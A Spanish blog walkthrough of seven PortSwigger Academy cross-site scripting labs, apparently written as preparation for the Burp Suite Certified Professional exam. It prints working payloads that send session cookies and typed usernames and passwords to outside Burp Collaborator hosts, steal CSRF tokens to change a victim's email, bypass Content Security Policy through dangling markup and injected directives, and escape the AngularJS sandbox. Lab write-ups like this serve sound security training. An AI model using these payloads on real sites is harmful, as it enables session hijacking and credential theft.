PortSwigger Academy – Laboratorios adicionales Cross-Site Scripting (XSS)

¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.

Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.

En esta entrada explicaremos y solucionaremos todos los laboratorios adicionales relativos a Cross-Site Scripting (XSS). Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!

Si tuviéramos que decir qué vulnerabilidad es la más prevalente en las webs que analizamos, sin duda, optaríamos por el Cross-Site Scripting, especialmente en sus formas reflejada y almacenada. Hemos visto este tipo de vulnerabilidades en aplicaciones de todo tipo y, aunque su mitigación es sencilla, en muchos casos no se aplican técnicas de desarrollo seguro que permitan ponerle freno a tiempo. Asimismo, muchas veces es tomada como inofensiva por los desarrolladores, pero sus consecuencias pueden ser bastante graves. Por ello, presta especial atención a este post.

Cabe añadir también que este tipo de vulnerabilidades son bien detectadas habitualmente por escáneres automáticos, aunque en algunos casos se pueden añadir detecciones a nivel manual. En toda esta tirada de laboratorios intentaremos hacerlo todo a mano, si bien apoyarse en herramientas para este tipo de vulnerabilidad suele ser muy útil.

Lab1 (Practicioner) – Exploiting cross-site scripting to steal cookies

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, exploit the vulnerability to exfiltrate the victim’s session cookie, then use this cookie to impersonate the victim.». En este laboratorio debemos identificar una vulnerabilidad de Cross-Site Scripting (XSS) para robarle la cookie a un usuario legítimo.

Comenzamos mapeando la superficie de exposición de la aplicación y vemos que es vulnerable a Cross-Site Scripting (XSS) almacenado en los comentarios del blog. Podemos confirmarlo con un script simple tal como:

<script>alert(1)</script>

Para poder robarle la cookie a un usuario, necesitamos cambiar el payload. Es decir, el script que estamos ejecutando cuando dicho usuario visita la página con el script malicioso inyectado. Podemos utilizar el siguiente script que, como se puede apreciar, realiza una petición HTTP a Burp Collaborator:

<script>fetch(`https://fralvjeuyahjulnblz8iwgq1lsrjf93y.oastify.com?token=${document.cookie}`,{method:"GET",})</script>

Toda vez que incluimos dicho payload, accedemos a Burp Collaborator y obtenemos las cookies de la víctima:

Ahora iremos al login, interceptaremos la petición GET enviada a «/login» e incluiremos las cookies, iniciando sesión como el usuario y resolviendo el laboratorio. Otra opción sería usar alguna las developer tools para incluir las cookies directamente en el navegador.

Lab2 (Practicioner) – Exploiting cross-site scripting to capture passwords

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, exploit the vulnerability to exfiltrate the victim’s username and password then use these credentials to log in to the victim’s account.». En este laboratorio debemos identificar una vulnerabilidad de Cross-Site Scripting (XSS) para robarle la cookie a un usuario legítimo.

Comenzamos mapeando la superficie de exposición de la aplicación y vemos que es vulnerable a Cross-Site Scripting (XSS) almacenado en los comentarios del blog. Podemos confirmarlo con un script simple tal como:

<script>alert(1)</script>

En este caso, no incluimos evidencia, pero puedes consultar el laboratorio 1 si tienes dudas. Como siguiente paso, debemos utilizar un script que nos permita obtener las credenciales de la víctima. Esto puede hacerse de forma sencilla:

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://z11553oe8ur345xvvji2600lvc13pudj.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Este formulario, como vemos, envía automáticamente las credenciales a un servidor atacante siempre y cuando se produzca una condición: que la contraseña se rellene. Por tanto, dejamos un comentario con dicho contenido y evaluamos las interacciones de Burp Collaborator:

Finalmente, con las credenciales capturadas iniciamos sesión para resolver el laboratorio.

Lab3 (Practicioner) – Exploiting XSS to bypass CSRF defenses

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, exploit the vulnerability to steal a CSRF token, which you can then use to change the email address of someone who views the blog post comments.». En este laboratorio debemos identificar una vulnerabilidad de Cross-Site Scripting (XSS) para hacer un ataque de CSRF posteriormente.

Comenzamos mapeando la superficie de exposición de la aplicación y vemos que es vulnerable a Cross-Site Scripting (XSS) almacenado en los comentarios del blog. Podemos confirmarlo con un script simple tal como:

<script>alert(1)</script>

Tras ello, adaptamos el payload para hacer dos fases:

  • Obtener el token CSRF del recurso «/my-account» a través de análisis de la respuesta
  • Usar el token CSRF para hacer un POST a la funcionalidad de cambio de correo «/my-account/change-email»

Estos dos endpoints anteriores podemos obtenerlos sin más que navegar y realizar las acciones como el usuario «wiener:peter». Procedemos, pues, a generar el siguiente script:

<script>
async function changeEmail(newEmail) {
  const response = await fetch('/my-account', {
    credentials: 'include'
  });
  const html = await response.text();
  const parser = new DOMParser();
  const doc = parser.parseFromString(html, 'text/html');
  const csrfToken = doc.querySelector('[name="csrf"]').value;
  await fetch('/my-account/change-email', {
    method: 'POST',
    credentials: 'include',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: new URLSearchParams({
      email: newEmail,
      csrf: csrfToken
    })
  });
}

changeEmail('foo@example.com');
</script>

Dejamos un comentario con dicho script y… ¡¡Laboratorio resuelto!!

Lab4 (Expert) – Reflected XSS protected by very strict CSP, with dangling markup attack

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, first perform a cross-site scripting attack that bypasses the CSP and exfiltrates a simulated victim user’s CSRF token using Burp Collaborator. You then need to change the simulated user’s email address to hacker@evil-user.net.». En este laboratorio debemos identificar una vulnerabilidad de Cross-Site Scripting (XSS) para hacer un ataque de CSRF posteriormente, aunque bypasseando CSP.

En primer lugar, observamos que el campo «email» de la petición a «my-account» es vulnerable a XSS. Este campo no es visible mediante navegación en la web, pero incluyéndolo a mano lo observamos. Fíjate en el payload utilizado y cómo la política CSP nos detiene:

"><script>alert(1)</script>

Dado que no podemos inyectar scripts como tal, lo haremos con un payload que inyecta código HTML:

"><a href="https://www.google.es">Click me!</a>

En este caso, no tenemos error y, además, si clickamos en «Click me!» nos llevará a Google. Por tanto, podemos asumir que tenemos un vector para realizar ingeniería social. Para generar el payload, debemos conocer que se puede hacer Dangling Markup, que no es más que «robar» partes del HTML entre dos comillas a fin de cuentas. Este ataque es complejo y te aconsejamos que leas sobre él aquí: https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup. El payload usado será el siguiente:

<script>
if(window.name) {
		new Image().src='//BURP-COLLABORATOR-SUBDOMAIN?'+encodeURIComponent(window.name);
		} else {
     			location = 'https://YOUR-LAB-ID.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>

Fíjate en el payload específico:

%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27

">Click me</a><base target='

Como vemos, con la etiqueta «<base target='» lo que hacemos es envenenar el link de «Click me», de tal modo que dejamos una comilla abierta y, por tanto, el target será todo lo que haya hasta la siguiente comilla:

Adaptamos el payload a nuestro laboratorio y se lo enviamos a la víctima:

<script>
if(window.name) {
		new Image().src='//dbsjfhysi81hej795xsggeaz5qbhzdn2.oastify.com?'+encodeURIComponent(window.name);
		} else {
     			location = 'https://0a7200e804c11fdc80f80d8900d80044.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://exploit-0a0100fe04251f1780270c9901c4000f.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>

En este caso, el payload ya no funciona debido a actualizaciones de Google Chrome. Sin embargo, podemos usar un payload similar basado en formularios:

<script>
location='https://0a7200e804c11fdc80f80d8900d80044.web-security-academy.net/my-account?email=%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name=%22evil-form%22%20action=%22https://exploit-0a0100fe04251f1780270c9901c4000f.exploit-server.net/log%22%20method=%22GET%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3E%20Click%20me%20%3C/button%3E';
</script>

Payload XSS => "></form><form class="login-form" name="evil-form" action="https://exploit-0a0100fe04251f1780270c9901c4000f.exploit-server.net/log" method="GET"><button class="button" type="submit"> Click me </button>'

Como vemos, obtenemos el token CSRF porque simplemente hemos generado un formulario y lo hemos enviado. Como debajo de ese formulario estaba el hidden input del token CSRF… ¡¡Boom!! Ahora nos queda lo más fácil, simplemente con ese token CSRF cambiamos el email a otro usuario:

En la imagen anterior vemos que si generamos una PoC de CSRF con Burp Suite Professional, simplemente debemos subirla a nuestro servidor malicioso y enviársela a la víctima para resolver el laboratorio.

Lab5 (Expert) – Reflected XSS protected by CSP, with CSP bypass

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, perform a cross-site scripting attack that bypasses the CSP and calls the alert function.». En este laboratorio debemos identificar una vulnerabilidad de Cross-Site Scripting (XSS) para lanzar un alert(), aunque bypasseando CSP.

Comenzamos, como siempre, evaluando la superficie de exposición de la aplicación y podemos observar cómo en la búsqueda del blog, la entrada que incluimos se ve reflejada en la respuesta:

Sin embargo, tenemos la siguiente política CSP:

Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=

Por tanto, a priori incluir un payload como el siguiente no debería de tener éxito:

<script>alert(1)</script>

Efectivamente, vemos que la política nos bloquea. Sin embargo, existe un parámetro denominado «token» cuyo valor se refleja en la propia cabecera CSP:

Por tanto, podemos incluir el siguiente payload para inyectar el código Javascript a través de la vulnerabilidad XSS y, a su vez, el valor de la cabecera CSP que nos permita ejecutarlo:

Parámetro search: %3Cscript%3Ealert%281%29%3C%2Fscript%3E
Parámetro token: ;script-src-elem+'unsafe-inline'

Con dicha petición, resolvemos el laboratorio.

Lab6 (Expert) – Reflected XSS with AngularJS sandbox escape without strings

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, perform a cross-site scripting attack that escapes the sandbox and executes the alert function without using the $eval function.». En este laboratorio debemos identificar una vulnerabilidad de Cross-Site Scripting (XSS) para lanzar un alert(), aunque bypasseando el sandbox de AngularJS.

En este laboratorio vemos que nuestro término de búsqueda se ve reflejado en la respuesta dentro de un contexto AngularJS:

Los payloads simples no funcionarán, dado que nos encontramos con el sandbox de AngularJS. Si leemos la documentación de PortSwigger, nos indican algunos bypasses de este sandbox. Uno de ellos está basado en sobrescribir la función «charAt». Fíjate en el siguiente payload, que es el que utlizaremos:

https://0a5a00c103531e58805503dc00a20046.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

Como vemos, se resuelve el laboratorio. No entraremos en mayor profundidad en los escapes del sandbox de AngularJS, ya que son complejos y vienen sobradamente explicados en los artículos de PortSwigger.

Lab7 (Expert) – Reflected XSS with AngularJS sandbox escape and CSP

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, perform a cross-site scripting attack that bypasses CSP, escapes the AngularJS sandbox, and alerts document.cookie.». En este laboratorio debemos identificar una vulnerabilidad de Cross-Site Scripting (XSS) para lanzar un alert(), aunque bypasseando el sandbox de AngularJS y la cabecera CSP.

En este laboratorio vemos que nuestro término de búsqueda se ve reflejado. Asimismo, incluyendo un payload simple como el siguiente, se incluye en la web pero no se ejecuta debido a la cabecera CSP:

<script>alert(1)</script>

De nuevo, aunque no entraremos en gran detalle, podemos ver en los documentos de PortSwigger que el siguiente payload es válido:

<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>#x

Por ello, generamos un exploit como el siguiente:

<script>
location='https://0a980085037e21ea8171ed6700b300c8.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>

Simplemente con almacenarlo y enviarlo a la víctima, resolveremos el laboratorio al ejecutarse el «alert(document.cookie)» en el contexto AngularJS.

~km0xu95

Comments are closed.